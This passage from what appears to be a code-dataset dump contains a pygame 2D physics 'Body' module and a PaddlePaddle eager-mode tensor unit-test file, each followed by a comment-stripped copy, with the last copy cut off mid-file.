"""Set the new center."""
self.position.set(Vector(*center))
center = property(getCenter, setCenter)
def cross(self, other):
"""Determine if the body is crossing with the other body."""
return self.form.cross(other.form)
def collide(self, other):
return self.form.collide(other.form)
def __xor__(self, other):
"""Determine if the body is crossing with the other body using xor method."""
return self.form | other.form
def getPoints(self):
"""Return the points of the form of the body."""
return self.form.points
def setPoints(self, points):
"""Set the points of the form of the body."""
self.form.points = points
points = property(getPoints, setPoints)
def getBorn(self):
return self.anatomy.born
def setBorn(self, born):
self.anatomy.born = born
born = property(getBorn, setBorn)
def getCircle(self):
"""Return the circle that born the body."""
return Circle(*self.position, radius=self.born)
def spread(self, n):
"""Take away the entity by multiplying the norm of the position by n."""
self.position.norm *= n
def enlarge(self, n):
"""Enlarge the anatomy."""
self.anatomy.enlarge(n)
class FrictionBody(Body):
"""Add some friction to a body."""
def __init__(self, *args, friction=0.1):
"""Create a body with friction."""
super().__init__(*args)
self.friction = friction
def update(self, dt):
"""Update the spaceship."""
super().update(dt)
self.updateFriction()
def updateFriction(self):
"""Add some friction."""
self.velocity.norm *= (1 - self.friction)
class MaterialBody(Material):
"""Unlike the other bodies, the material body only has one motion."""
def __init__(self, anatomy, motion):
"""Create a material body from its anatomy and its motion."""
self.anatomy = anatomy
self.motion = motion
@classmethod
def createFromAbsolute(cls, absolute, motion):
"""Create a simple body from its absolute anatomy and its motion."""
return cls(anatomy, motion)
@classmethod
def random(cls, nv=2, d=2):
"""Return a random simple body."""
motion = Motion.random(n=nv, d=d)
anatomy = Form.random(n=5)
return cls(anatomy, motion)
def __init__(self, anatomy, motion):
"""Create a simple body."""
self.motion = motion
self.anatomy = anatomy
self.center()
def __str__(self):
"""Return the string representation of the body."""
return "mb(" + str(self.anatomy) + "," + str(",".join(map(str, self.motion))) + ")"
def center(self):
"""Center the anatomy."""
c = self.anatomy.center
v = -Vector(*c)
self.anatomy.position.set(v)
def show(self, context):
"""Show the simple body on the context."""
self.showAbsolute(context)
self.showMotion(context)
def showAnatomy(self, context):
"""Show the anatomy on the context."""
self.anatomy.show(context)
def showAbsolute(self, context):
"""Show the body on the context."""
self.getAbsolute().show(context)
def showMotion(self, context):
"""Show the motion of the body on the context."""
self.velocity.show(context, self.position)
self.acceleration.show(context, self.position)
def update(self, dt=1):
"""Update the simple body."""
self.motion.update(dt)
def follow(self, position):
"""Follow the cursor."""
a = Vector(*position)
b = self.position
v = Vector(a - b)
self.velocity.angle = v.angle
# self.velocity.norm=min(v.norm,1)
def __contains__(self, other):
"""Determine if the object other is in the absolute anatomy."""
return other in self.getAbsolute()
def getAbsolute(self):
"""Return the absolute anatomy of the body which means its form after
changing the position depending on its motion."""
anatomy = deepcopy(self.anatomy)
anatomy.position = self.motion.position # change its position
anatomy.rotate(self.velocity.angle) # change its rotation
return anatomy
absolute = property(getAbsolute)
class BornShowingBody(Body):
def show(self, context):
super().show(context)
self.showBorn(context)
if __name__ == "__main__":
from .manager import BodyManager
b = BornShowingBody.random()
m = BodyManager(b)
m()
| 31.621951 | 115 | 0.614153 | from .abstract import Vector, Point, Segment, Circle
from .anatomies import FormAnatomy
from .motion import Motion, Moment
from .material import Material
from .physics import Physics
from . import colors
from pygame.locals import *
from copy import deepcopy
import pygame
import logging
import copy
import random
import math
class Image(Rect):
def __init__(self, filename):
self.surface = pygame.load.image(filename)
def show(self, context):
self.context.draw.blit(self.surface)
class Body(Physics):
@classmethod
def random(cls, n=5, d=2, nm=2, nv=3, borns=[-1, 1]):
anatomy = FormAnatomy.random(n=n, d=d, borns=borns)
anatomy.recenter(anatomy.centroid)
motions = []
if nm >= 1:
motions.append(Motion.random(n=nv, d=d))
if nm >= 2:
motions.append(Moment.random(n=nv, d=d))
if nm >= 3:
motions.extend([Motion.random(n=nv, d=d) for i in range(nm - 2)])
return cls(anatomy, motions)
@classmethod
def createFromForm(cls, anatomy, motion=Motion(), moment=Moment()):
motion.position = Vector(*anatomy.center)
anatomy.points = (-motion.position).applyToPoints(anatomy.points)
return cls(anatomy, [motion, moment])
@classmethod
def createFromMotionMoment(cls, anatomy, motion=Motion(), moment=Moment()):
return cls(anatomy, [motion, moment])
@classmethod
def createFromRandomMotions(cls, anatomy, n=2):
motions = []
if n >= 1:
motions.append(Motion.random())
if n >= 2:
motions.append(Moment.random())
if n >= 3:
motions.extend([Motion.random() for i in range(n - 2)])
return cls(anatomy, motions)
def __init__(self, anatomy, motions):
self.anatomy = anatomy
if not isinstance(motions, list):
raise TypeError("Wrong motions: "+str(motions))
super().__init__(motions)
def __str__(self):
return type(self).__name__[0].lower() + "(" + str(self.form) + "," + ",".join(map(str, self.motions)) + ")"
def show(self, context):
self.form.show(context)
def showMotion(self, context):
self.motion.show(context)
def showMoment(self, context):
form = self.form
position = self.position
distances = [(Segment(p, position).length, p) for p in form.points]
farthest = max(distances, key=lambda c: c[0])[1]
angle = Vector.createFromTwoPoints(position, farthest).angle
self.moment.show(context, farthest, angle)
def showAll(self, context):
self.show(context)
self.showMotion(context)
self.showMoment(context)
self.showBorn(context)
def showBorn(self, context):
self.getCircle().show(context)
def update(self, dt=1):
for motion in self.motions:
motion.update(dt)
def updateFriction(self, friction=0.1):
for motion in self.motions:
motion.velocity.norm *= (1 - friction)
def recenter(self):
c = self.anatomy.center
v = -Vector(*c)
self.anatomy.position.set(v)
def getForm(self):
form = copy.deepcopy(self.anatomy)
form.center = Point(*self.motion.position)
if len(self.motions) == 1:
form.rotate(self.velocity.angle)
else:
form.rotate(self.moment.position.norm)
return form
def setForm(self, form):
self.position.set(Vector(*form.center))
self.anatomy = form.center
form = absolute = property(getForm, setForm)
def __contains__(self, point):
return point in self.form
def react(self, event):
pass
def follow(self, point):
position = Vector(*point)
v = position - self.position
self.acceleration.set(v)
def getCenter(self):
return Point(*self.position)
def setCenter(self, center):
self.position.set(Vector(*center))
center = property(getCenter, setCenter)
def cross(self, other):
return self.form.cross(other.form)
def collide(self, other):
return self.form.collide(other.form)
def __xor__(self, other):
return self.form | other.form
def getPoints(self):
return self.form.points
def setPoints(self, points):
self.form.points = points
points = property(getPoints, setPoints)
def getBorn(self):
return self.anatomy.born
def setBorn(self, born):
self.anatomy.born = born
born = property(getBorn, setBorn)
def getCircle(self):
return Circle(*self.position, radius=self.born)
def spread(self, n):
self.position.norm *= n
def enlarge(self, n):
self.anatomy.enlarge(n)
class FrictionBody(Body):
def __init__(self, *args, friction=0.1):
super().__init__(*args)
self.friction = friction
def update(self, dt):
super().update(dt)
self.updateFriction()
def updateFriction(self):
self.velocity.norm *= (1 - self.friction)
class MaterialBody(Material):
def __init__(self, anatomy, motion):
self.anatomy = anatomy
self.motion = motion
@classmethod
def createFromAbsolute(cls, absolute, motion):
return cls(anatomy, motion)
@classmethod
def random(cls, nv=2, d=2):
motion = Motion.random(n=nv, d=d)
anatomy = Form.random(n=5)
return cls(anatomy, motion)
def __init__(self, anatomy, motion):
self.motion = motion
self.anatomy = anatomy
self.center()
def __str__(self):
return "mb(" + str(self.anatomy) + "," + str(",".join(map(str, self.motion))) + ")"
def center(self):
c = self.anatomy.center
v = -Vector(*c)
self.anatomy.position.set(v)
def show(self, context):
self.showAbsolute(context)
self.showMotion(context)
def showAnatomy(self, context):
self.anatomy.show(context)
def showAbsolute(self, context):
self.getAbsolute().show(context)
def showMotion(self, context):
self.velocity.show(context, self.position)
self.acceleration.show(context, self.position)
def update(self, dt=1):
self.motion.update(dt)
def follow(self, position):
a = Vector(*position)
b = self.position
v = Vector(a - b)
self.velocity.angle = v.angle
def __contains__(self, other):
return other in self.getAbsolute()
def getAbsolute(self):
anatomy = deepcopy(self.anatomy)
anatomy.position = self.motion.position
anatomy.rotate(self.velocity.angle)
return anatomy
absolute = property(getAbsolute)
class BornShowingBody(Body):
def show(self, context):
super().show(context)
self.showBorn(context)
if __name__ == "__main__":
from .manager import BodyManager
b = BornShowingBody.random()
m = BodyManager(b)
m()
| true | true |
f7260982ff15ee479d978bf2768b0d3f1e8c015c | 22,456 | py | Python | python/paddle/fluid/tests/unittests/test_egr_python_api.py | tangzhiyi11/Paddle | 790cadd1f06fabeadc4b9aeca5622ea50985b990 | [
"Apache-2.0"
] | 1 | 2021-12-31T09:01:02.000Z | 2021-12-31T09:01:02.000Z | python/paddle/fluid/tests/unittests/test_egr_python_api.py | tangzhiyi11/Paddle | 790cadd1f06fabeadc4b9aeca5622ea50985b990 | [
"Apache-2.0"
] | null | null | null | python/paddle/fluid/tests/unittests/test_egr_python_api.py | tangzhiyi11/Paddle | 790cadd1f06fabeadc4b9aeca5622ea50985b990 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import paddle.fluid.core as core
import paddle.fluid.eager.eager_tensor_patch_methods as eager_tensor_patch_methods
import paddle
import numpy as np
from paddle.fluid.framework import _test_eager_guard, EagerParamBase, _in_eager_mode
from paddle.fluid.data_feeder import convert_dtype
import unittest
import copy
class EagerScaleTestCase(unittest.TestCase):
def test_scale_base(self):
with _test_eager_guard():
paddle.set_device("cpu")
arr = np.ones([4, 16, 16, 32]).astype('float32')
tensor = paddle.to_tensor(arr, 'float32', core.CPUPlace())
print(tensor)
tensor = core.eager.scale(tensor, 2.0, 0.9, True, False)
for i in range(0, 100):
tensor = core.eager.scale(tensor, 2.0, 0.9, True, False)
print(tensor)
self.assertEqual(tensor.shape, [4, 16, 16, 32])
self.assertEqual(tensor.stop_gradient, True)
def test_retain_grad_and_run_backward(self):
with _test_eager_guard():
paddle.set_device("cpu")
input_data = np.ones([4, 16, 16, 32]).astype('float32')
data_eager = paddle.to_tensor(input_data, 'float32',
core.CPUPlace(), False)
grad_data = np.ones([4, 16, 16, 32]).astype('float32')
grad_eager = paddle.to_tensor(grad_data, 'float32', core.CPUPlace())
data_eager.retain_grads()
out_eager = core.eager.scale(data_eager, 1.0, 0.9, True, True)
self.assertFalse(data_eager.grad._is_initialized())
out_eager.backward(grad_eager, False)
self.assertTrue(data_eager.grad._is_initialized())
self.assertTrue(np.array_equal(data_eager.grad.numpy(), input_data))
def test_retain_grad_and_run_backward_raises(self):
with _test_eager_guard():
paddle.set_device("cpu")
input_data = np.ones([4, 16, 16, 32]).astype('float32')
data_eager = paddle.to_tensor(input_data, 'float32',
core.CPUPlace(), False)
grad_data = np.ones([4, 16, 16, 32]).astype('float32')
grad_data2 = np.ones([4, 16]).astype('float32')
grad_eager = paddle.to_tensor(grad_data, 'float32', core.CPUPlace())
grad_eager2 = paddle.to_tensor(grad_data2, 'float32',
core.CPUPlace())
data_eager.retain_grads()
out_eager = core.eager.scale(data_eager, 1.0, 0.9, True, True)
self.assertFalse(data_eager.grad._is_initialized())
with self.assertRaisesRegexp(
AssertionError,
"The type of grad_tensor must be paddle.Tensor"):
out_eager.backward(grad_data, False)
with self.assertRaisesRegexp(
AssertionError,
"Tensor shape not match, Tensor of grad_tensor /*"):
out_eager.backward(grad_eager2, False)
class EagerDtypeTestCase(unittest.TestCase):
def check_to_tesnsor_and_numpy(self, dtype, proto_dtype):
with _test_eager_guard():
arr = np.random.random([4, 16, 16, 32]).astype(dtype)
tensor = paddle.to_tensor(arr, dtype)
self.assertEqual(tensor.dtype, proto_dtype)
self.assertTrue(np.array_equal(arr, tensor.numpy()))
def test_dtype_base(self):
print("Test_dtype")
self.check_to_tesnsor_and_numpy('bool', core.VarDesc.VarType.BOOL)
self.check_to_tesnsor_and_numpy('int8', core.VarDesc.VarType.INT8)
self.check_to_tesnsor_and_numpy('uint8', core.VarDesc.VarType.UINT8)
self.check_to_tesnsor_and_numpy('int16', core.VarDesc.VarType.INT16)
self.check_to_tesnsor_and_numpy('int32', core.VarDesc.VarType.INT32)
self.check_to_tesnsor_and_numpy('int64', core.VarDesc.VarType.INT64)
self.check_to_tesnsor_and_numpy('float16', core.VarDesc.VarType.FP16)
self.check_to_tesnsor_and_numpy('float32', core.VarDesc.VarType.FP32)
self.check_to_tesnsor_and_numpy('float64', core.VarDesc.VarType.FP64)
self.check_to_tesnsor_and_numpy('complex64',
core.VarDesc.VarType.COMPLEX64)
self.check_to_tesnsor_and_numpy('complex128',
core.VarDesc.VarType.COMPLEX128)
class EagerTensorPropertiesTestCase(unittest.TestCase):
def constructor(self, place):
egr_tensor = core.eager.EagerTensor()
self.assertEqual(egr_tensor.persistable, False)
self.assertTrue("generated" in egr_tensor.name)
self.assertEqual(egr_tensor.shape, [])
self.assertEqual(egr_tensor.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor.stop_gradient, True)
egr_tensor0 = core.eager.EagerTensor(
core.VarDesc.VarType.FP32, [4, 16, 16, 32], "test_eager_tensor",
core.VarDesc.VarType.LOD_TENSOR, True)
self.assertEqual(egr_tensor0.persistable, True)
self.assertEqual(egr_tensor0.name, "test_eager_tensor")
self.assertEqual(egr_tensor0.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor0.dtype, core.VarDesc.VarType.FP32)
arr0 = np.random.rand(4, 16, 16, 32).astype('float32')
egr_tensor1 = core.eager.EagerTensor(arr0, place, True, False,
"numpy_tensor1", False)
self.assertEqual(egr_tensor1.persistable, True)
self.assertEqual(egr_tensor1.name, "numpy_tensor1")
self.assertEqual(egr_tensor1.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor1.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor1.stop_gradient, False)
self.assertTrue(egr_tensor1.place._equals(place))
self.assertTrue(np.array_equal(egr_tensor1.numpy(), arr0))
arr1 = np.random.randint(100, size=(4, 16, 16, 32), dtype=np.int64)
egr_tensor2 = core.eager.EagerTensor(arr1, place, False, True,
"numpy_tensor2", True)
self.assertEqual(egr_tensor2.persistable, False)
self.assertEqual(egr_tensor2.name, "numpy_tensor2")
self.assertEqual(egr_tensor2.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor2.dtype, core.VarDesc.VarType.INT64)
self.assertEqual(egr_tensor2.stop_gradient, True)
self.assertTrue(egr_tensor2.place._equals(place))
self.assertTrue(np.array_equal(egr_tensor2.numpy(), arr1))
arr2 = np.random.rand(4, 16, 16, 32, 64).astype('float32')
egr_tensor3 = core.eager.EagerTensor(arr2)
self.assertEqual(egr_tensor3.persistable, False)
self.assertTrue("generated_tensor" in egr_tensor3.name)
self.assertEqual(egr_tensor3.shape, [4, 16, 16, 32, 64])
self.assertEqual(egr_tensor3.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor3.stop_gradient, True)
self.assertTrue(
egr_tensor3.place._equals(
paddle.fluid.framework._current_expected_place()))
self.assertTrue(np.array_equal(egr_tensor3.numpy(), arr2))
egr_tensor3.stop_gradient = False
egr_tensor4 = core.eager.EagerTensor(egr_tensor3)
self.assertEqual(egr_tensor4.persistable, False)
self.assertTrue("generated_tensor" in egr_tensor4.name)
self.assertEqual(egr_tensor4.shape, egr_tensor3.shape)
self.assertEqual(egr_tensor4.dtype, egr_tensor3.dtype)
self.assertEqual(egr_tensor4.stop_gradient, True)
self.assertTrue(
egr_tensor4.place._equals(
paddle.fluid.framework._current_expected_place()))
self.assertTrue(
np.array_equal(egr_tensor4.numpy(), egr_tensor3.numpy()))
arr4 = np.random.rand(4, 16, 16, 32).astype('float32')
egr_tensor5 = core.eager.EagerTensor(arr4, place)
self.assertEqual(egr_tensor5.persistable, False)
self.assertTrue("generated_tensor" in egr_tensor5.name)
self.assertEqual(egr_tensor5.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor5.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor5.stop_gradient, True)
self.assertTrue(egr_tensor5.place._equals(place))
self.assertTrue(np.array_equal(egr_tensor5.numpy(), arr4))
egr_tensor6 = core.eager.EagerTensor(egr_tensor5, core.CPUPlace())
self.assertEqual(egr_tensor6.persistable, False)
self.assertTrue("generated_tensor" in egr_tensor6.name)
self.assertEqual(egr_tensor6.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor6.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor6.stop_gradient, True)
self.assertEqual(egr_tensor6.place.is_cpu_place(), True)
self.assertTrue(
np.array_equal(egr_tensor6.numpy(), egr_tensor5.numpy()))
egr_tensor7 = core.eager.EagerTensor(arr4, place, True)
self.assertEqual(egr_tensor7.persistable, True)
self.assertTrue("generated_tensor" in egr_tensor7.name)
self.assertEqual(egr_tensor7.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor7.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor7.stop_gradient, True)
self.assertTrue(egr_tensor7.place._equals(place))
self.assertTrue(np.array_equal(egr_tensor7.numpy(), arr4))
egr_tensor8 = core.eager.EagerTensor(egr_tensor6, place, "egr_tensor8")
self.assertEqual(egr_tensor8.persistable, False)
self.assertEqual(egr_tensor8.name, "egr_tensor8")
self.assertEqual(egr_tensor8.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor8.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor8.stop_gradient, True)
self.assertTrue(egr_tensor8.place._equals(place))
self.assertTrue(
np.array_equal(egr_tensor8.numpy(), egr_tensor5.numpy()))
egr_tensor9 = core.eager.EagerTensor(arr4, place, True, True)
self.assertEqual(egr_tensor9.persistable, True)
self.assertTrue("generated_tensor" in egr_tensor9.name)
self.assertEqual(egr_tensor9.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor9.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor9.stop_gradient, True)
self.assertTrue(egr_tensor9.place._equals(place))
self.assertTrue(np.array_equal(egr_tensor9.numpy(), arr4))
x = np.random.rand(3, 3).astype('float32')
t = paddle.fluid.Tensor()
t.set(x, paddle.fluid.CPUPlace())
egr_tensor10 = core.eager.EagerTensor(t, place)
self.assertEqual(egr_tensor10.persistable, False)
self.assertTrue("generated_tensor" in egr_tensor10.name)
self.assertEqual(egr_tensor10.shape, [3, 3])
self.assertEqual(egr_tensor10.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor10.stop_gradient, True)
self.assertTrue(egr_tensor10.place._equals(place))
self.assertTrue(np.array_equal(egr_tensor10.numpy(), x))
egr_tensor11 = core.eager.EagerTensor(t, place, "framework_constructed")
self.assertEqual(egr_tensor11.persistable, False)
self.assertTrue("framework_constructed" in egr_tensor11.name)
self.assertEqual(egr_tensor11.shape, [3, 3])
self.assertEqual(egr_tensor11.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor11.stop_gradient, True)
self.assertTrue(egr_tensor11.place._equals(place))
self.assertTrue(np.array_equal(egr_tensor11.numpy(), x))
egr_tensor12 = core.eager.EagerTensor(t)
self.assertEqual(egr_tensor12.persistable, False)
self.assertTrue("generated_tensor" in egr_tensor12.name)
self.assertEqual(egr_tensor12.shape, [3, 3])
self.assertEqual(egr_tensor12.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor12.stop_gradient, True)
self.assertTrue(egr_tensor12.place._equals(paddle.fluid.CPUPlace()))
self.assertTrue(np.array_equal(egr_tensor12.numpy(), x))
with self.assertRaisesRegexp(
ValueError, "The shape of Parameter should not be None"):
eager_param = EagerParamBase(shape=None, dtype="float32")
with self.assertRaisesRegexp(
ValueError, "The dtype of Parameter should not be None"):
eager_param = EagerParamBase(shape=[1, 1], dtype=None)
with self.assertRaisesRegexp(
ValueError,
"The dimensions of shape for Parameter must be greater than 0"):
eager_param = EagerParamBase(shape=[], dtype="float32")
with self.assertRaisesRegexp(
ValueError,
"Each dimension of shape for Parameter must be greater than 0, but received /*"
):
eager_param = EagerParamBase(shape=[-1], dtype="float32")
eager_param = EagerParamBase(shape=[1, 1], dtype="float32")
self.assertTrue(eager_param.trainable)
eager_param.trainable = False
self.assertFalse(eager_param.trainable)
with self.assertRaisesRegexp(
ValueError,
"The type of trainable MUST be bool, but the type is /*"):
eager_param.trainable = "False"
def test_constructor(self):
print("Test_constructor")
paddle.set_device("cpu")
place_list = [core.CPUPlace()]
if core.is_compiled_with_cuda():
place_list.append(core.CUDAPlace(0))
with _test_eager_guard():
for p in place_list:
self.constructor(p)
def test_copy_and_copy_to(self):
print("Test_copy_and_copy_to")
with _test_eager_guard():
paddle.set_device("cpu")
arr = np.ones([4, 16, 16, 32]).astype('float32')
arr1 = np.zeros([4, 16]).astype('float32')
arr2 = np.ones([4, 16, 16, 32]).astype('float32') + np.ones(
[4, 16, 16, 32]).astype('float32')
tensor = paddle.to_tensor(arr, core.VarDesc.VarType.FP32,
core.CPUPlace())
self.assertEqual(tensor.stop_gradient, True)
tensor.stop_gradient = False
print("Set persistable")
tensor.persistable = False
tensor1 = paddle.to_tensor(arr1, core.VarDesc.VarType.FP32,
core.CPUPlace())
tensor1.persistable = True
self.assertEqual(tensor1.stop_gradient, True)
self.assertTrue(np.array_equal(tensor.numpy(), arr))
print("Test copy_")
tensor.copy_(tensor1, True)
self.assertEqual(tensor.persistable, True)
self.assertEqual(tensor.shape, [4, 16])
self.assertEqual(tensor.dtype, core.VarDesc.VarType.FP32)
self.assertTrue(np.array_equal(tensor.numpy(), arr1))
print("Test _copy_to")
tensor2 = paddle.to_tensor(arr2, core.VarDesc.VarType.FP32,
core.CPUPlace())
self.assertTrue(np.array_equal(tensor2.numpy(), arr2))
self.assertTrue(tensor2.place.is_cpu_place())
tensor2.persistable = True
tensor2.stop_gradient = False
if core.is_compiled_with_cuda():
tensor3 = tensor2._copy_to(True, core.CUDAPlace(0))
self.assertTrue(np.array_equal(tensor3.numpy(), arr2))
self.assertTrue(tensor3.persistable, True)
self.assertTrue(tensor3.stop_gradient, True)
self.assertTrue(tensor3.place.is_gpu_place())
else:
tensor3 = tensor2._copy_to(True, core.CPUPlace())
self.assertTrue(np.array_equal(tensor3.numpy(), arr2))
self.assertTrue(tensor3.persistable, True)
self.assertTrue(tensor3.stop_gradient, True)
self.assertTrue(tensor3.place.is_cpu_place())
def test_properties(self):
print("Test_properties")
with _test_eager_guard():
paddle.set_device("cpu")
arr = np.ones([4, 16, 16, 32]).astype('float32')
tensor = paddle.to_tensor(arr, core.VarDesc.VarType.FP32,
core.CPUPlace())
self.assertEqual(tensor.shape, [4, 16, 16, 32])
tensor.name = 'tensor_name_test'
self.assertEqual(tensor.name, 'tensor_name_test')
self.assertEqual(tensor.persistable, False)
tensor.persistable = True
self.assertEqual(tensor.persistable, True)
tensor.persistable = False
self.assertEqual(tensor.persistable, False)
self.assertTrue(tensor.place.is_cpu_place())
self.assertEqual(tensor._place_str, 'CPUPlace')
self.assertEqual(tensor.stop_gradient, True)
tensor.stop_gradient = False
self.assertEqual(tensor.stop_gradient, False)
tensor.stop_gradient = True
self.assertEqual(tensor.stop_gradient, True)
def test_global_properties(self):
print("Test_global_properties")
self.assertFalse(core._in_eager_mode())
with _test_eager_guard():
self.assertTrue(core._in_eager_mode())
self.assertFalse(core._in_eager_mode())
def test_place_guard(self):
core._enable_eager_mode()
if core.is_compiled_with_cuda():
paddle.set_device("gpu:0")
with paddle.fluid.framework._dygraph_place_guard(core.CPUPlace()):
self.assertTrue(core.eager._get_expected_place().is_cpu_place())
else:
paddle.set_device("cpu")
with paddle.fluid.framework._dygraph_place_guard(core.CPUPlace()):
self.assertTrue(core.eager._get_expected_place().is_cpu_place())
core._disable_eager_mode()
class EagerParamBaseUsageTestCase(unittest.TestCase):
def test_print(self):
with _test_eager_guard():
linear = paddle.nn.Linear(3, 3, bias_attr=False)
print(linear.weight)
def test_copy(self):
with _test_eager_guard():
linear = paddle.nn.Linear(1, 3)
linear_copy = copy.deepcopy(linear)
linear_copy2 = linear.weight._copy_to(core.CPUPlace(), True)
self.assertTrue(
np.array_equal(linear.weight.numpy(),
linear_copy.weight.numpy()))
self.assertTrue(
np.array_equal(linear.weight.numpy(), linear_copy2.numpy()))
def func_fp16_initilaizer(self):
paddle.set_default_dtype("float16")
linear1 = paddle.nn.Linear(1, 3, bias_attr=False)
linear2 = paddle.nn.Linear(
1,
3,
bias_attr=False,
weight_attr=paddle.fluid.initializer.Uniform())
linear3 = paddle.nn.Linear(
1,
3,
bias_attr=False,
weight_attr=paddle.fluid.initializer.TruncatedNormalInitializer())
linear4 = paddle.nn.Linear(
1,
3,
bias_attr=False,
weight_attr=paddle.fluid.initializer.MSRAInitializer())
res = [
linear1.weight.numpy(), linear2.weight.numpy(),
linear3.weight.numpy(), linear4.weight.numpy()
]
paddle.set_default_dtype("float32")
return res
def test_fp16_initializer(self):
res1 = list()
res2 = list()
paddle.seed(102)
paddle.framework.random._manual_program_seed(102)
with _test_eager_guard():
res1 = self.func_fp16_initilaizer()
res2 = self.func_fp16_initilaizer()
for i in range(len(res1)):
self.assertTrue(np.array_equal(res1[i], res2[i]))
def func_layer_helper_base(self, value):
base = paddle.fluid.layer_helper_base.LayerHelperBase("test_layer",
"test_layer")
return base.to_variable(value).numpy()
def func_base_to_variable(self, value):
paddle.fluid.dygraph.base.to_variable(value)
def test_to_variable(self):
value = np.random.rand(4, 16, 16, 32).astype('float32')
res1 = None
res3 = None
with _test_eager_guard():
res1 = self.func_layer_helper_base(value)
res3 = self.func_base_to_variable(value)
res2 = self.func_layer_helper_base(value)
res4 = self.func_base_to_variable(value)
self.assertTrue(np.array_equal(res1, res2))
self.assertTrue(np.array_equal(res3, res4))
def test_backward_with_single_tensor(self):
arr4 = np.random.rand(4, 16, 16, 32).astype('float32')
egr_tensor12 = core.eager.EagerTensor(arr4, core.CPUPlace())
egr_tensor12.retain_grads()
arr = np.ones([4, 16, 16, 32]).astype('float32')
self.assertEqual(egr_tensor12.persistable, False)
self.assertTrue("generated_tensor" in egr_tensor12.name)
self.assertEqual(egr_tensor12.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor12.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor12.stop_gradient, True)
self.assertTrue(egr_tensor12.place._equals(paddle.fluid.CPUPlace()))
self.assertTrue(np.array_equal(egr_tensor12.numpy(), arr4))
self.assertTrue(np.array_equal(egr_tensor12.gradient(), None))
egr_tensor12.backward()
self.assertTrue(np.array_equal(egr_tensor12.gradient(), arr))
class EagerGuardTestCase(unittest.TestCase):
def test__test_eager_guard(self):
tracer = paddle.fluid.dygraph.tracer.Tracer()
with _test_eager_guard(tracer):
self.assertTrue(_in_eager_mode())
if __name__ == "__main__":
unittest.main()
| 46.686071 | 95 | 0.642679 |
import paddle.fluid.core as core
import paddle.fluid.eager.eager_tensor_patch_methods as eager_tensor_patch_methods
import paddle
import numpy as np
from paddle.fluid.framework import _test_eager_guard, EagerParamBase, _in_eager_mode
from paddle.fluid.data_feeder import convert_dtype
import unittest
import copy
class EagerScaleTestCase(unittest.TestCase):
def test_scale_base(self):
with _test_eager_guard():
paddle.set_device("cpu")
arr = np.ones([4, 16, 16, 32]).astype('float32')
tensor = paddle.to_tensor(arr, 'float32', core.CPUPlace())
print(tensor)
tensor = core.eager.scale(tensor, 2.0, 0.9, True, False)
for i in range(0, 100):
tensor = core.eager.scale(tensor, 2.0, 0.9, True, False)
print(tensor)
self.assertEqual(tensor.shape, [4, 16, 16, 32])
self.assertEqual(tensor.stop_gradient, True)
def test_retain_grad_and_run_backward(self):
with _test_eager_guard():
paddle.set_device("cpu")
input_data = np.ones([4, 16, 16, 32]).astype('float32')
data_eager = paddle.to_tensor(input_data, 'float32',
core.CPUPlace(), False)
grad_data = np.ones([4, 16, 16, 32]).astype('float32')
grad_eager = paddle.to_tensor(grad_data, 'float32', core.CPUPlace())
data_eager.retain_grads()
out_eager = core.eager.scale(data_eager, 1.0, 0.9, True, True)
self.assertFalse(data_eager.grad._is_initialized())
out_eager.backward(grad_eager, False)
self.assertTrue(data_eager.grad._is_initialized())
self.assertTrue(np.array_equal(data_eager.grad.numpy(), input_data))
def test_retain_grad_and_run_backward_raises(self):
with _test_eager_guard():
paddle.set_device("cpu")
input_data = np.ones([4, 16, 16, 32]).astype('float32')
data_eager = paddle.to_tensor(input_data, 'float32',
core.CPUPlace(), False)
grad_data = np.ones([4, 16, 16, 32]).astype('float32')
grad_data2 = np.ones([4, 16]).astype('float32')
grad_eager = paddle.to_tensor(grad_data, 'float32', core.CPUPlace())
grad_eager2 = paddle.to_tensor(grad_data2, 'float32',
core.CPUPlace())
data_eager.retain_grads()
out_eager = core.eager.scale(data_eager, 1.0, 0.9, True, True)
self.assertFalse(data_eager.grad._is_initialized())
with self.assertRaisesRegexp(
AssertionError,
"The type of grad_tensor must be paddle.Tensor"):
out_eager.backward(grad_data, False)
with self.assertRaisesRegexp(
AssertionError,
"Tensor shape not match, Tensor of grad_tensor /*"):
out_eager.backward(grad_eager2, False)
class EagerDtypeTestCase(unittest.TestCase):
def check_to_tesnsor_and_numpy(self, dtype, proto_dtype):
with _test_eager_guard():
arr = np.random.random([4, 16, 16, 32]).astype(dtype)
tensor = paddle.to_tensor(arr, dtype)
self.assertEqual(tensor.dtype, proto_dtype)
self.assertTrue(np.array_equal(arr, tensor.numpy()))
def test_dtype_base(self):
print("Test_dtype")
self.check_to_tesnsor_and_numpy('bool', core.VarDesc.VarType.BOOL)
self.check_to_tesnsor_and_numpy('int8', core.VarDesc.VarType.INT8)
self.check_to_tesnsor_and_numpy('uint8', core.VarDesc.VarType.UINT8)
self.check_to_tesnsor_and_numpy('int16', core.VarDesc.VarType.INT16)
